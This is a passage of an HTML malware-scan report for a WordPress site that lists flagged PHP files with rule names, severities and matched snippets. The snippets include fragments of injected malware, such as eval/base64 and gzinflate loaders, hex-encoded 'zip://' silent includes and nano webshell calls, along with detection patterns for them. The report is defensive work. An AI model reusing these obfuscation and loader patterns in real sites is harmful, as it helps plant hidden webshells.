<span style="color: #0000BB"></span><span style="color: #007700">eval(</span><span style="color: #0000BB">base64_decode</span><span style="color: #007700">(</span><span style="color: #DD0000">'; $search_str2 = '</span><span style="color: #007700">Array(</span><span style="color: #0000BB">base64_decode</span><span style="color: #007700">(</span><span style="color: #DD0000">'; $search_str3 = '</span><span style="color: #007700">@</span><span style="color: #0000BB">$isbot</span><span style="color: #DD0000">'; $search_str4 = '</span><span style="color: #007700">@require</span><span style="color: #DD0000">'; $search_str5 = '</span><span style="color: #007700">eval(</span><span style="color: #0000BB">gzuncompress</span><span style="color: #007700">(</span><span style="color: #0000BB">base64_decode</span><span style="color: #007700">(</span><span style="color: #DD0000">'; $search_str6 = '</span><span style="color: #007700">@include </span><span style="color: #DD0000">"\x2'; </span><span style="color: #0000BB">$search_str7</span><span style="color: #DD0000"> = '</span><span style="color: #0000BB">$OO</span><span style="color: #DD0000">'; </span><span style="color: #0000BB">$search_str8</span><span style="color: #DD0000"> = 'cache=00'; </span><span style="color: #0000BB">$search_str9</span><span style="color: #DD0000"> = 'file_get_contents(\"../index.php\")</span>
</span>
</code></code></td></tr><tr><td><p><b>Exploit execution <span class="badge badge-pill badge-danger py-1 px-2 ml-1 shadow-none">Dangerous</span></b></p><p>RCE (Remote Code Execution) allow remote attackers to execute PHP code on the target machine via HTTP</p><p><i>[<a href="https://cwe.mitre.org/data/definitions/77.html" target="_blank" class="text-primary">https://cwe.mitre.org/data/definitions/77.html</a>, <a href=" https://cwe.mitre.org/data/definitions/78.html" target="_blank" class="text-primary"> https://cwe.mitre.org/data/definitions/78.html</a>]</i></p></td><td><code><code><span style="color: #000000">
<span style="color: #0000BB">base64_decode</span><span style="color: #007700">(</span><span style="color: #0000BB">$_POST</span><span style="color: #DD0000">'; $search_str12 = '</span><span style="color: #0000BB">multipart</span><span style="color: #007700">/</span><span style="color: #0000BB">form</span><span style="color: #007700">-</span><span style="color: #0000BB">data</span><span style="color: #DD0000">'; if (!file_exists($finderdata_path)</span>
</span>
</code></code></td></tr><tr><td><p><b>Function eval <span class="badge badge-pill badge-warning py-1 px-2 ml-1 shadow-none">Warning</span></b></p><p>Potentially dangerous function `eval`</p><p><i>[<a href="https://www.php.net/eval" target="_blank" class="text-primary">https://www.php.net/eval</a>]</i></p></td><td><code><code><span style="color: #000000">
<span style="color: #0000BB"></span><span style="color: #007700">eval(</span><span style="color: #0000BB">base64_decode</span><span style="color: #007700">(</span><span style="color: #DD0000">'; $search_str2 = '</span><span style="color: #007700">Array(</span><span style="color: #0000BB">base64_decode</span><span style="color: #007700">(</span><span style="color: #DD0000">'; $search_str3 = '</span><span style="color: #007700">@</span><span style="color: #0000BB">$isbot</span><span style="color: #DD0000">'; $search_str4 = '</span><span style="color: #007700">@require</span><span style="color: #DD0000">'; $search_str5 = '</span><span style="color: #007700">eval(</span><span style="color: #0000BB">gzuncompress</span><span style="color: #007700">(</span><span style="color: #0000BB">base64_decode</span><span style="color: #007700">(</span><span style="color: #DD0000">'; $search_str6 = '</span><span style="color: #007700">@include </span><span style="color: #DD0000">"\x2'; </span><span style="color: #0000BB">$search_str7</span><span style="color: #DD0000"> = '</span><span style="color: #0000BB">$OO</span><span style="color: #DD0000">'; </span><span style="color: #0000BB">$search_str8</span><span style="color: #DD0000"> = 'cache=00'; </span><span style="color: #0000BB">$search_str9</span><span style="color: #DD0000"> = 'file_get_contents(\"../index.php\")"'; $search_str10 = '</span><span style="color: #0000BB">is_uploaded_file</span><span style="color: #DD0000">'; $search_str11 = '</span><span style="color: #0000BB">base64_decode</span><span style="color: #007700">(</span><span style="color: #0000BB">$_POST</span><span style="color: #DD0000">'; $search_str12 = '</span><span style="color: #0000BB">multipart</span><span style="color: #007700">/</span><span style="color: #0000BB">form</span><span style="color: #007700">-</span><span style="color: #0000BB">data</span><span style="color: #DD0000">'; if (!file_exists($finderdata_path)) { $arr_php_file = findshells($_SERVER['</span><span style="color: #0000BB">DOCUMENT_</span><span style="color: #007700">...</span>
</span>
</code></code></td></tr><tr><td><p><b>Sign 11413268 <span class="badge badge-pill badge-secondary py-1 px-2 ml-1 shadow-none">Line: 279</span> <span class="badge badge-pill badge-danger py-1 px-2 ml-1 shadow-none">Dangerous</span></b></p><p>Malware Signature (hash: 11413268)</p></td><td><code><code><span style="color: #000000">
<span style="color: #0000BB"></span><span style="color: #007700">eval(</span><span style="color: #0000BB">base64_decode</span><span style="color: #007700">(</span>
</span>
</code></code></td></tr><tr><td><p><b>Sign 4a069524 <span class="badge badge-pill badge-secondary py-1 px-2 ml-1 shadow-none">Line: 294</span> <span class="badge badge-pill badge-danger py-1 px-2 ml-1 shadow-none">Dangerous</span></b></p><p>Malware Signature (hash: 4a069524)</p></td><td><code><code><span style="color: #000000">
<span style="color: #0000BB">arr_php_file </span><span style="color: #007700">= </span><span style="color: #0000BB">findshells</span><span style="color: #007700">(</span><span style="color: #0000BB">$_SERVER</span>
</span>
</code></code></td></tr><tr><td><p><b>Sign 689d8acc <span class="badge badge-pill badge-secondary py-1 px-2 ml-1 shadow-none">Line: 65</span> <span class="badge badge-pill badge-danger py-1 px-2 ml-1 shadow-none">Dangerous</span></b></p><p>Malware Signature (hash: 689d8acc)</p></td><td><code><code><span style="color: #000000">
<span style="color: #0000BB"></span><span style="color: #007700">if (isset(</span><span style="color: #0000BB">$_GET</span><span style="color: #007700">[</span><span style="color: #DD0000">'juke'</span><span style="color: #007700">]))
<br />{
<br /> </span><span style="color: #0000BB">$arr_files </span><span style="color: #007700">= </span><span style="color: #0000BB">DirFilesR</span><span style="color: #007700">(</span><span style="color: #0000BB">$_SERVER</span><span style="color: #007700">[</span><span style="color: #DD0000">'DOCUMENT_ROOT'</span><span style="color: #007700">]);</span>
</span>
</code></code></td></tr></tbody></table><script type="text/javascript">$("#file_57").DataTable();</script></td></tr><tr><td><p><i class="fas fa-file text-primary mr-2"></i> /var/www/bartolini/bartolini.com.ua/wp-includes/SimplePie/library/SimplePie/Cache/Cache/cache.php</p><span class="badge badge-pill badge-fileinfo py-2 px-3 mr-1 shadow-none">Size: 5.52 kB</span> <span class="badge badge-pill badge-fileinfo py-2 px-3 mr-1 shadow-none">Created: 2026-01-27 10:04:31</span> <span class="badge badge-pill badge-fileinfo py-2 px-3 mr-1 shadow-none">Modified: 2026-01-27 10:04:31</span> <span class="badge badge-pill badge-warning py-2 px-3 mr-1 shadow-none">Warns: 2</span> <span class="badge badge-pill badge-danger py-2 px-3 mr-1 shadow-none">Dangers: 1</span><br><table id="file_58" class="table container table-sm table-striped table-borderless"><thead ><tr><th>Description</th><th>Match</th></tr></thead><tbody><tr><td><p><b>Exploit base64_long <span class="badge badge-pill badge-secondary py-1 px-2 ml-1 shadow-none">Line: 1</span> <span class="badge badge-pill badge-warning py-1 px-2 ml-1 shadow-none">Warning</span></b></p><p>Long Base64 encoded text is usually used for the obfuscation of malicious code</p></td><td><code><code><span style="color: #000000">
<span style="color: #0000BB"></span><span style="color: #DD0000">'AA18JE/wfUQsW4bPqWJVDZEy6xMeZRsnwhdv/95q68xlHe8+Dd8dwnnZgs8xxXv88ww1r7e8+PW+5b/9leii/a9BY+yP/6lq69/d/L3vZ/9fyt7uRNe4iXO7t7n613v4BlL01Ccnmvdyna++UjPlOlYWbt0n2n1WXsn5P++6kjxk/uxIqVQkMnpg1c+qmpyp0e5T7+/bkrnVt6BrMGjIdh61iYY7sZ7HgYckQvQiVRVYCwqrnWvzcfVl5apJtnceq8FMj5UhiXPAyO4CHRYGruDCgRGlAkk/UIiPB347tMCPD7q80wtVsfJYNIjdtcClBKRVE6jXM3Oqt3tgOyu6tD+vNa0YNfa/5nadjf6YFtatKXWZWgbw6d4Fub5qz+nE5LXvfHm+15Hc3or+ebkNjrIWiRxWQ1d10bJqedaB9TtvKHNtEvEfhtbuO+bq6n3r3cOD9TovSytCFQHSwjsDVDFV2GexHGc/MiHz7V9Au5n91ECsm0o...</span>
</span>
</code></code></td></tr><tr><td><p><b>Exploit global_var_string <span class="badge badge-pill badge-danger py-1 px-2 ml-1 shadow-none">Dangerous</span></b></p><p>Code Injection, through escaped global vars, allow inject attackers to execute PHP code on the target machine via HTTP request</p></td><td><code><code><span style="color: #000000">
<span style="color: #0000BB"></span><span style="color: #007700">${</span><span style="color: #DD0000">"_REQUEST"</span><span style="color: #007700">}</span>
</span>
</code></code></td></tr><tr><td><p><b>Function eval <span class="badge badge-pill badge-secondary py-1 px-2 ml-1 shadow-none">Line: 1</span> <span class="badge badge-pill badge-warning py-1 px-2 ml-1 shadow-none">Warning</span></b></p><p>Potentially dangerous function `eval`</p><p><i>[<a href="https://www.php.net/eval" target="_blank" class="text-primary">https://www.php.net/eval</a>]</i></p></td><td><code><code><span style="color: #000000">
<span style="color: #0000BB"></span><span style="color: #007700">eval(</span><span style="color: #0000BB">htmlspecialchars_decode</span><span style="color: #007700">(</span><span style="color: #0000BB">gzinflate</span><span style="color: #007700">(</span><span style="color: #0000BB">base64_decode</span><span style="color: #007700">(</span><span style="color: #0000BB">$qcT</span><span style="color: #007700">))))</span>
</span>
</code></code></td></tr></tbody></table><script type="text/javascript">$("#file_58").DataTable();</script></td></tr><tr><td><p><i class="fas fa-file text-primary mr-2"></i> /var/www/bartolini/bartolini.com.ua/wp-includes/SimplePie/src/Parse/Date.php</p><span class="badge badge-pill badge-fileinfo py-2 px-3 mr-1 shadow-none">Size: 26.22 kB</span> <span class="badge badge-pill badge-fileinfo py-2 px-3 mr-1 shadow-none">Created: 2025-12-02 12:29:24</span> <span class="badge badge-pill badge-fileinfo py-2 px-3 mr-1 shadow-none">Modified: 2026-01-07 10:03:38</span> <span class="badge badge-pill badge-warning py-2 px-3 mr-1 shadow-none">Warns: 1</span><br><table id="file_59" class="table container table-sm table-striped table-borderless"><thead ><tr><th>Description</th><th>Match</th></tr></thead><tbody><tr><td><p><b>Exploit concat_vars_with_spaces <span class="badge badge-pill badge-secondary py-1 px-2 ml-1 shadow-none">Line: 819</span> <span class="badge badge-pill badge-warning py-1 px-2 ml-1 shadow-none">Warning</span></b></p><p>Concatenation of vars technique is usually used for the obfuscation of malicious code</p></td><td><code><code><span style="color: #000000">
<span style="color: #0000BB">$day </span><span style="color: #007700">. </span><span style="color: #0000BB">$fws </span><span style="color: #007700">. </span><span style="color: #0000BB">$month </span><span style="color: #007700">. </span><span style="color: #0000BB">$fws </span><span style="color: #007700">. </span><span style="color: #0000BB">$year </span><span style="color: #007700">. </span><span style="color: #0000BB">$fws </span><span style="color: #007700">.</span>
</span>
</code></code></td></tr></tbody></table><script type="text/javascript">$("#file_59").DataTable();</script></td></tr><tr><td><p><i class="fas fa-file text-primary mr-2"></i> /var/www/bartolini/bartolini.com.ua/wp-includes/SimplePie/src/Parse/Parse/cache.php</p><span class="badge badge-pill badge-fileinfo py-2 px-3 mr-1 shadow-none">Size: 366.00 B</span> <span class="badge badge-pill badge-fileinfo py-2 px-3 mr-1 shadow-none">Created: 2026-01-26 08:41:43</span> <span class="badge badge-pill badge-fileinfo py-2 px-3 mr-1 shadow-none">Modified: 2026-01-26 08:41:43</span> <span class="badge badge-pill badge-warning py-2 px-3 mr-1 shadow-none">Warns: 1</span> <span class="badge badge-pill badge-danger py-2 px-3 mr-1 shadow-none">Dangers: 3</span><br><table id="file_60" class="table container table-sm table-striped table-borderless"><thead ><tr><th>Description</th><th>Match</th></tr></thead><tbody><tr><td><p><b>Exploit double_var2 <span class="badge badge-pill badge-secondary py-1 px-2 ml-1 shadow-none">Line: 1</span> <span class="badge badge-pill badge-warning py-1 px-2 ml-1 shadow-none">Warning</span></b></p><p>Double var technique is usually used for the obfuscation of malicious code</p></td><td><code><code><span style="color: #000000">
<span style="color: #0000BB"></span><span style="color: #007700">${</span><span style="color: #0000BB">$n</span><span style="color: #007700">[</span><span style="color: #0000BB">0</span><span style="color: #007700">]}</span>
</span>
</code></code></td></tr><tr><td><p><b>Exploit hex_char <span class="badge badge-pill badge-secondary py-1 px-2 ml-1 shadow-none">Line: 1</span> <span class="badge badge-pill badge-danger py-1 px-2 ml-1 shadow-none">Dangerous</span></b></p><p>Hex char is usually used for the obfuscation of malicious code</p></td><td><code><code><span style="color: #000000">
<span style="color: #0000BB"></span><span style="color: #007700">\</span><span style="color: #0000BB">x5f</span>
</span>
</code></code></td></tr><tr><td><p><b>Exploit silence_inclusion <span class="badge badge-pill badge-secondary py-1 px-2 ml-1 shadow-none">Line: 1</span> <span class="badge badge-pill badge-danger py-1 px-2 ml-1 shadow-none">Dangerous</span></b></p><p>LFI (Local File Inclusion), through a silent inclusion, allow remote attackers to inject and execute arbitrary commands or code on the target machine</p></td><td><code><code><span style="color: #000000">
<span style="color: #0000BB"></span><span style="color: #007700">@require </span><span style="color: #DD0000">"\x7a\x69\x70\x3a\x2f\x2f\x66\x34\x76\x5f\x36\x39\x37\x37\x30\x63\x61\x37\x38\x64\x63\x66\x32\x2e\x7a\x69\x70\x23\x63\x5f\x36\x39\x37\x37\x30\x63\x61\x37\x38\x64\x63\x66\x32\x2e\x74\x6d\x70"</span>
</span>
</code></code></td></tr><tr><td><p><b>Sign 5aabe84e <span class="badge badge-pill badge-danger py-1 px-2 ml-1 shadow-none">Dangerous</span></b></p><p>Malware Signature (hash: 5aabe84e)</p></td><td><code><code><span style="color: #000000">
<span style="color: #0000BB"></span><span style="color: #007700">require </span><span style="color: #DD0000">"zip:</span>
</span>
</code></code></td></tr></tbody></table><script type="text/javascript">$("#file_60").DataTable();</script></td></tr><tr><td><p><i class="fas fa-file text-primary mr-2"></i> /var/www/bartolini/bartolini.com.ua/wp-includes/SimplePie/src/Parse/Parse/index.php</p><span class="badge badge-pill badge-fileinfo py-2 px-3 mr-1 shadow-none">Size: 408.00 B</span> <span class="badge badge-pill badge-fileinfo py-2 px-3 mr-1 shadow-none">Created: 2026-01-26 08:41:43</span> <span class="badge badge-pill badge-fileinfo py-2 px-3 mr-1 shadow-none">Modified: 2026-01-26 08:41:43</span> <span class="badge badge-pill badge-warning py-2 px-3 mr-1 shadow-none">Warns: 1</span> <span class="badge badge-pill badge-danger py-2 px-3 mr-1 shadow-none">Dangers: 2</span><br><table id="file_61" class="table container table-sm table-striped table-borderless"><thead ><tr><th>Description</th><th>Match</th></tr></thead><tbody><tr><td><p><b>Exploit double_var2 <span class="badge badge-pill badge-secondary py-1 px-2 ml-1 shadow-none">Line: 1</span> <span class="badge badge-pill badge-warning py-1 px-2 ml-1 shadow-none">Warning</span></b></p><p>Double var technique is usually used for the obfuscation of malicious code</p></td><td><code><code><span style="color: #000000">
<span style="color: #0000BB"></span><span style="color: #007700">${</span><span style="color: #0000BB">$n</span><span style="color: #007700">[</span><span style="color: #0000BB">0</span><span style="color: #007700">]}</span>
</span>
</code></code></td></tr><tr><td><p><b>Exploit hex_char <span class="badge badge-pill badge-secondary py-1 px-2 ml-1 shadow-none">Line: 1</span> <span class="badge badge-pill badge-danger py-1 px-2 ml-1 shadow-none">Dangerous</span></b></p><p>Hex char is usually used for the obfuscation of malicious code</p></td><td><code><code><span style="color: #000000">
<span style="color: #0000BB"></span><span style="color: #007700">\</span><span style="color: #0000BB">x5f</span>
</span>
</code></code></td></tr><tr><td><p><b>Exploit nano <span class="badge badge-pill badge-secondary py-1 px-2 ml-1 shadow-none">Line: 1</span> <span class="badge badge-pill badge-danger py-1 px-2 ml-1 shadow-none">Dangerous</span></b></p><p>Nano is a family of PHP webshells which are code golfed to be extremely stealthy and efficient</p><p><i>[<a href="https://github.com/s0md3v/nano" target="_blank" class="text-primary">https://github.com/s0md3v/nano</a>]</i></p></td><td><code><code><span style="color: #000000">
<span style="color: #0000BB">$n</span><span style="color: #007700">[</span><span style="color: #0000BB">1</span><span style="color: #007700">](</span><span style="color: #0000BB">$n</span><span style="color: #007700">[</span><span style="color: #0000BB">2</span><span style="color: #007700">])</span>
</span>
</code></code></td></tr></tbody></table><script type="text/javascript">$("#file_61").DataTable();</script></td></tr><tr><td><p><i class="fas fa-file text-primary mr-2"></i> /var/www/bartolini/bartolini.com.ua/wp-includes/SimplePie/src/HTTP/HTTP/cache.php</p><span class="badge badge-pill badge-fileinfo py-2 px-3 mr-1 shadow-none">Size: 375.00 B</span> <span class="badge badge-pill badge-fileinfo py-2 px-3 mr-1 shadow-none">Created: 2026-01-27 10:14:55</span> <span class="badge badge-pill badge-fileinfo py-2 px-3 mr-1 shadow-none">Modified: 2026-01-27 10:14:55</span> <span class="badge badge-pill badge-warning py-2 px-3 mr-1 shadow-none">Warns: 1</span> <span class="badge badge-pill badge-danger py-2 px-3 mr-1 shadow-none">Dangers: 3</span><br><table id="file_62" class="table container table-sm table-striped table-borderless"><thead ><tr><th>Description</th><th>Match</th></tr></thead><tbody><tr><td><p><b>Exploit double_var2 <span class="badge badge-pill badge-secondary py-1 px-2 ml-1 shadow-none">Line: 1</span> <span class="badge badge-pill badge-warning py-1 px-2 ml-1 shadow-none">Warning</span></b></p><p>Double var technique is usually used for the obfuscation of malicious code</p></td><td><code><code><span style="color: #000000">
<span style="color: #0000BB"></span><span style="color: #007700">${</span><span style="color: #0000BB">$qNk</span><span style="color: #007700">[</span><span style="color: #0000BB">0</span><span style="color: #007700">]}</span>
</span>
</code></code></td></tr><tr><td><p><b>Exploit hex_char <span class="badge badge-pill badge-secondary py-1 px-2 ml-1 shadow-none">Line: 1</span> <span class="badge badge-pill badge-danger py-1 px-2 ml-1 shadow-none">Dangerous</span></b></p><p>Hex char is usually used for the obfuscation of malicious code</p></td><td><code><code><span style="color: #000000">
<span style="color: #0000BB"></span><span style="color: #007700">\</span><span style="color: #0000BB">x5f</span>
</span>
</code></code></td></tr><tr><td><p><b>Exploit silence_inclusion <span class="badge badge-pill badge-secondary py-1 px-2 ml-1 shadow-none">Line: 1</span> <span class="badge badge-pill badge-danger py-1 px-2 ml-1 shadow-none">Dangerous</span></b></p><p>LFI (Local File Inclusion), through a silent inclusion, allow remote attackers to inject and execute arbitrary commands or code on the target machine</p></td><td><code><code><span style="color: #000000">
<span style="color: #0000BB"></span><span style="color: #007700">@require_once </span><span style="color: #DD0000">"\x7a\x69\x70\x3a\x2f\x2f\x6d\x70\x33\x5f\x36\x39\x37\x38\x37\x33\x66\x66\x30\x39\x64\x33\x63\x2e\x7a\x69\x70\x23\x63\x5f\x36\x39\x37\x38\x37\x33\x66\x66\x30\x39\x64\x33\x63\x2e\x74\x6d\x70"</span>
</span>
</code></code></td></tr><tr><td><p><b>Sign 5aabe84e <span class="badge badge-pill badge-danger py-1 px-2 ml-1 shadow-none">Dangerous</span></b></p><p>Malware Signature (hash: 5aabe84e)</p></td><td><code><code><span style="color: #000000">
<span style="color: #0000BB"></span><span style="color: #007700">require_once </span><span style="color: #DD0000">"zip:</span>
</span>
</code></code></td></tr></tbody></table><script type="text/javascript">$("#file_62").DataTable();</script></td></tr><tr><td><p><i class="fas fa-file text-primary mr-2"></i> /var/www/bartolini/bartolini.com.ua/wp-includes/SimplePie/src/HTTP/HTTP/index.php</p><span class="badge badge-pill badge-fileinfo py-2 px-3 mr-1 shadow-none">Size: 423.00 B</span> <span class="badge badge-pill badge-fileinfo py-2 px-3 mr-1 shadow-none">Created: 2026-01-27 10:14:55</span> <span class="badge badge-pill badge-fileinfo py-2 px-3 mr-1 shadow-none">Modified: 2026-01-27 10:14:55</span> <span class="badge badge-pill badge-warning py-2 px-3 mr-1 shadow-none">Warns: 1</span> <span class="badge badge-pill badge-danger py-2 px-3 mr-1 shadow-none">Dangers: 1</span><br><table id="file_63" class="table container table-sm table-striped table-borderless"><thead ><tr><th>Description</th><th>Match</th></tr></thead><tbody><tr><td><p><b>Exploit double_var2 <span class="badge badge-pill badge-secondary py-1 px-2 ml-1 shadow-none">Line: 1</span> <span class="badge badge-pill badge-warning py-1 px-2 ml-1 shadow-none">Warning</span></b></p><p>Double var technique is usually used for the obfuscation of malicious code</p></td><td><code><code><span style="color: #000000">
<span style="color: #0000BB"></span><span style="color: #007700">${</span><span style="color: #0000BB">$qNk</span><span style="color: #007700">[</span><span style="color: #0000BB">0</span><span style="color: #007700">]}</span>
</span>
</code></code></td></tr><tr><td><p><b>Exploit hex_char <span class="badge badge-pill badge-secondary py-1 px-2 ml-1 shadow-none">Line: 1</span> <span class="badge badge-pill badge-danger py-1 px-2 ml-1 shadow-none">Dangerous</span></b></p><p>Hex char is usually used for the obfuscation of malicious code</p></td><td><code><code><span style="color: #000000">
<span style="color: #0000BB"></span><span style="color: #007700">\</span><span style="color: #0000BB">x5f</span>
</span>
</code></code></td></tr></tbody></table><script type="text/javascript">$("#file_63").DataTable();</script></td></tr><tr><td><p><i class="fas fa-file text-primary mr-2"></i> /var/www/bartolini/bartolini.com.ua/wp-includes/general-template.php</p><span class="badge badge-pill badge-fileinfo py-2 px-3 mr-1 shadow-none">Size: 168.57 kB</span> <span class="badge badge-pill badge-fileinfo py-2 px-3 mr-1 shadow-none">Created: 2025-02-24 03:40:05</span> <span class="badge badge-pill badge-fileinfo py-2 px-3 mr-1 shadow-none">Modified: 2026-01-27 14:16:41</span> <span class="badge badge-pill badge-danger py-2 px-3 mr-1 shadow-none">Dangers: 1</span><br><table id="file_64" class="table container table-sm table-striped table-borderless"><thead ><tr><th>Description</th><th>Match</th></tr></thead><tbody><tr><td><p><b>Sign 4a069524 <span class="badge badge-pill badge-secondary py-1 px-2 ml-1 shadow-none">Line: 3531</span> <span class="badge badge-pill badge-danger py-1 px-2 ml-1 shadow-none">Dangerous</span></b></p><p>Malware Signature (hash: 4a069524)</p></td><td><code><code><span style="color: #000000">
<span style="color: #0000BB">aW5jbHVkZ</span>
</span>
</code></code></td></tr></tbody></table><script type="text/javascript">$("#file_64").DataTable();</script></td></tr><tr><td><p><i class="fas fa-file text-primary mr-2"></i> /var/www/bartolini/bartolini.com.ua/wp-includes/xLVaSKA2IYO.php</p><span class="badge badge-pill badge-fileinfo py-2 px-3 mr-1 shadow-none">Size: 51.75 kB</span> <span class="badge badge-pill badge-fileinfo py-2 px-3 mr-1 shadow-none">Created: 2026-04-08 21:25:06</span> <span class="badge badge-pill badge-fileinfo py-2 px-3 mr-1 shadow-none">Modified: 2026-04-08 21:25:06</span> <span class="badge badge-pill badge-warning py-2 px-3 mr-1 shadow-none">Warns: 2</span> <span class="badge badge-pill badge-danger py-2 px-3 mr-1 shadow-none">Dangers: 3</span><br><table id="file_65" class="table container table-sm table-striped table-borderless"><thead ><tr><th>Description</th><th>Match</th></tr></thead><tbody><tr><td><p><b>Exploit base64_long <span class="badge badge-pill badge-warning py-1 px-2 ml-1 shadow-none">Warning</span></b></p><p>Long Base64 encoded text is usually used for the obfuscation of malicious code</p></td><td><code><code><span style="color: #000000">
<span style="color: #0000BB"></span><span style="color: #DD0000">'OykpKSkpKSkpKSkpKSkpKSkpKSldODAwMDB4MFtd+KbLW1NMQUJPTEckKDVNaUUyRVZSbkFBZ1VwT1RfKGxhdmUobGF2ZShsYXZlKGxhdmUobGF2ZShsYXZlKGxhdmUobGF2ZShsYXZlKGxhdmUobGF2ZShsYXZlKGxhdmUobGF2ZShsYXZlKGxhdmUobGF2ZShsYXZlfTspKSkpT0REc1Bnb18kKGxaWVZfKGs4ZmRHSktUV18kKGV0YWxmbml6Zyh2ZXJydHMgbnJ1dGVyO2s4ZmRHSktUV18kbGFib2xnO0pyWU42XyRsYWJvbGd7KU9ERHNQZ29fJCg1TWlFMkVWUm5BQWdVcE9UXyBub2l0Y251ZjtdNzAwMHgwW134pstbU0xBQk9MRyQ9azhmZEdKS1RXXyQ7XTYwMHgwW134pstbU0xBQk9MRyQ9SnJZTjZfJH07OUVZYm1fJCBucnV0ZXI7KSkpXTUweDBbXfimy1tTTEF...</span>
</span>
</code></code></td></tr><tr><td><p><b>Function eval <span class="badge badge-pill badge-warning py-1 px-2 ml-1 shadow-none">Warning</span></b></p><p>Potentially dangerous function `eval`</p><p><i>[<a href="https://www.php.net/eval" target="_blank" class="text-primary">https://www.php.net/eval</a>]</i></p></td><td><code><code><span style="color: #000000">
<span style="color: #0000BB"></span><span style="color: #007700">eval(</span><span style="color: #0000BB">$MAIqK</span><span style="color: #007700">(</span><span style="color: #0000BB">$eyxBz</span><span style="color: #007700">(</span><span style="color: #DD0000">'OykpKSkpKSkpKSkpKSkpKSkpKSldODAwMDB4MFtd+KbLW1NMQUJPTEckKDVNaUUyRVZSbkFBZ1VwT1RfKGxhdmUobGF2ZShsYXZlKGxhdmUobGF2ZShsYXZlKGxhdmUobGF2ZShsYXZlKGxhdmUobGF2ZShsYXZlKGxhdmUobGF2ZShsYXZlKGxhdmUobGF2ZShsYXZlfTspKSkpT0REc1Bnb18kKGxaWVZfKGs4ZmRHSktUV18kKGV0YWxmbml6Zyh2ZXJydHMgbnJ1dGVyO2s4ZmRHSktUV18kbGFib2xnO0pyWU42XyRsYWJvbGd7KU9ERHNQZ29fJCg1TWlFMkVWUm5BQWdVcE9UXyBub2l0Y251ZjtdNzAwMHgwW134pstbU0xBQk9MRyQ9azhmZEdKS1RXXyQ7XTYwMHgwW134pstbU0xBQk9MRyQ9SnJZTjZfJH07OUVZYm1fJCBucnV0ZXI7KSkp...</span>
</span>
</code></code></td></tr><tr><td><p><b>Function strrev eval_strrev <span class="badge badge-pill badge-secondary py-1 px-2 ml-1 shadow-none">Line: 1</span> <span class="badge badge-pill badge-danger py-1 px-2 ml-1 shadow-none">Dangerous</span></b></p><p>Encoded Function `eval`</p><p><i>[<a href="https://www.php.net/eval" target="_blank" class="text-primary">https://www.php.net/eval</a>]</i></p></td><td><code><code><span style="color: #000000">
<span style="color: #0000BB">LavE</span>
</span>
</code></code></td></tr><tr><td><p><b>Sign de12c454 <span class="badge badge-pill badge-secondary py-1 px-2 ml-1 shadow-none">Line: 1</span> <span class="badge badge-pill badge-danger py-1 px-2 ml-1 shadow-none">Dangerous</span></b></p><p>Malware Signature (hash: de12c454)</p></td><td><code><code><span style="color: #000000">
<span style="color: #0000BB">VJag</span>
</span>
</code></code></td></tr><tr><td><p><b>Sign f9dc0a55 <span class="badge badge-pill badge-danger py-1 px-2 ml-1 shadow-none">Dangerous</span></b></p><p>Malware Signature (hash: f9dc0a55)</p></td><td><code><code><span style="color: #000000">
<span style="color: #0000BB"></span><span style="color: #DD0000">'base64_decode'</span>
</span>
</code></code></td></tr></tbody></table><script type="text/javascript">$("#file_65").DataTable();</script></td></tr><tr><td><p><i class="fas fa-file text-primary mr-2"></i> /var/www/bartolini/bartolini.com.ua/wp-includes/rest-api.php</p><span class="badge badge-pill badge-fileinfo py-2 px-3 mr-1 shadow-none">Size: 97.91 kB</span> <span class="badge badge-pill badge-fileinfo py-2 px-3 mr-1 shadow-none">Created: 2026-01-27 10:14:53</span> <span class="badge badge-pill badge-fileinfo py-2 px-3 mr-1 shadow-none">Modified: 2026-01-27 10:14:53</span> <span class="badge badge-pill badge-danger py-2 px-3 mr-1 shadow-none">Dangers: 1</span><br><table id="file_66" class="table container table-sm table-striped table-borderless"><thead ><tr><th>Description</th><th>Match</th></tr></thead><tbody><tr><td><p><b>Exploit nano <span class="badge badge-pill badge-secondary py-1 px-2 ml-1 shadow-none">Line: 1682</span> <span class="badge badge-pill badge-danger py-1 px-2 ml-1 shadow-none">Dangerous</span></b></p><p>Nano is a family of PHP webshells which are code golfed to be extremely stealthy and efficient</p><p><i>[<a href="https://github.com/s0md3v/nano" target="_blank" class="text-primary">https://github.com/s0md3v/nano</a>]</i></p></td><td><code><code><span style="color: #000000">
<span style="color: #0000BB">$checks</span><span style="color: #007700">[ </span><span style="color: #0000BB">$type </span><span style="color: #007700">]( </span><span style="color: #0000BB">$value </span><span style="color: #007700">)</span>
</span>
</code></code></td></tr></tbody></table><script type="text/javascript">$("#file_66").DataTable();</script></td></tr><tr><td><p><i class="fas fa-file text-primary mr-2"></i> /var/www/bartolini/bartolini.com.ua/wp-includes/Text/Diff.php</p><span class="badge badge-pill badge-fileinfo py-2 px-3 mr-1 shadow-none">Size: 12.57 kB</span> <span class="badge badge-pill badge-fileinfo py-2 px-3 mr-1 shadow-none">Created: 2025-12-02 12:29:24</span> <span class="badge badge-pill badge-fileinfo py-2 px-3 mr-1 shadow-none">Modified: 2026-01-07 10:03:38</span> <span class="badge badge-pill badge-warning py-2 px-3 mr-1 shadow-none">Warns: 1</span><br><table id="file_67" class="table container table-sm table-striped table-borderless"><thead ><tr><th>Description</th><th>Match</th></tr></thead><tbody><tr><td><p><b>Function assert <span class="badge badge-pill badge-warning py-1 px-2 ml-1 shadow-none">Warning</span></b></p><p>Potentially dangerous function `assert`</p><p><i>[<a href="https://www.php.net/assert" target="_blank" class="text-primary">https://www.php.net/assert</a>]</i></p></td><td><code><code><span style="color: #000000">
<span style="color: #0000BB">assert</span><span style="color: #007700">(</span><span style="color: #0000BB">count</span><span style="color: #007700">(</span><span style="color: #0000BB">$from_lines</span><span style="color: #007700">) == </span><span style="color: #0000BB">count</span><span style="color: #007700">(</span><span style="color: #0000BB">$mapped_from_lines</span><span style="color: #007700">)); </span><span style="color: #0000BB">assert</span><span style="color: #007700">(</span><span style="color: #0000BB">count</span><span style="color: #007700">(</span><span style="color: #0000BB">$to_lines</span><span style="color: #007700">) == </span><span style="color: #0000BB">count</span><span style="color: #007700">(</span><span style="color: #0000BB">$mapped_to_lines</span><span style="color: #007700">)); </span><span style="color: #0000BB">parent</span><span style="color: #007700">::</span><span style="color: #0000BB">Text_Diff</span><span style="color: #007700">(</span><span style="color: #0000BB">$mapped_from_lines</span><span style="color: #007700">, </span><span style="color: #0000BB">$mapped_to_lines</span><span style="color: #007700">); </span><span style="color: #0000BB">$xi </span><span style="color: #007700">= </span><span style="color: #0000BB">$yi </span><span style="color: #007700">= </span><span style="color: #0000BB">0</span><span style="color: #007700">; for 